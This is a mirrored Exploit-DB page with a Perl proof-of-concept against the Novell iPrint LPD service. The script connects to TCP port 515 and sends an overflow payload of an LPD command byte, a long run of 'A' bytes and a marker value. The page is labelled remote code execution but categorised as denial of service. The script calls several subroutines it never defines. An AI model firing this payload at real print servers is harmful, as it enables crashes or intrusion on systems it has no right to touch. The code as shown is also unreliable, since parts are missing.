Novell Iprint – LPD Remote Code Execution

• Exploit Database
• 12 阅读

• 作者： Francis Provencher
  日期： 2011-02-18
• 类别：

  • dos
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/16192/

• #!/usr/bin/perl
  
  ## Source:
  ## http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=21&Itemid=21
  
  use Getopt::Std;
  use IO::Socket::INET;
  
  $SIG{INT}= \&abort;
  
  my $host= '10.102.3.79';
  my $port= 515;
  my $proto = 'tcp';
  my $sockType = SOCK_STREAM;
  my $timeout = 1;
  
  
  my %opt;
  my $opt_string = 'hH:P:t:';
  getopts( "$opt_string", \%opt );
  
  if (defined $opt{h}) {
  usage()
  }
  
  my @commands = (
  {Command => 'Send',
   Data => "\x01\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x44\x43\x42\x41\x0a"},
  
  );
  
  my $sock = new IO::Socket::INET (	
  PeerAddr => $host,
  				PeerPort => $port, 
  				Proto => $proto,
  Type => $sockType,
  Timeout => $timeout,
  ) 
  or die "socket error: $!\n\n";
  
  print "connected to: $host:$port\n";
  
  $sock->autoflush(1);
  binmode $sock;
  
  
  foreach my $command (@commands)
  {
  if ($command->{'Command'} eq 'Receive')
  {
  my $buf = receive($sock, $timeout);
  if (length $buf)
  {
  print "received: [$buf]\n";
  }
  }
  elsif ($command->{'Command'} eq 'Send')
  {
  print "sending: [".$command->{'Data'}."]\n";
  send ($sock, $command->{'Data'}, 0) or die "send failed, reason: $!\n";
  }
  }
  
  
  close ($sock);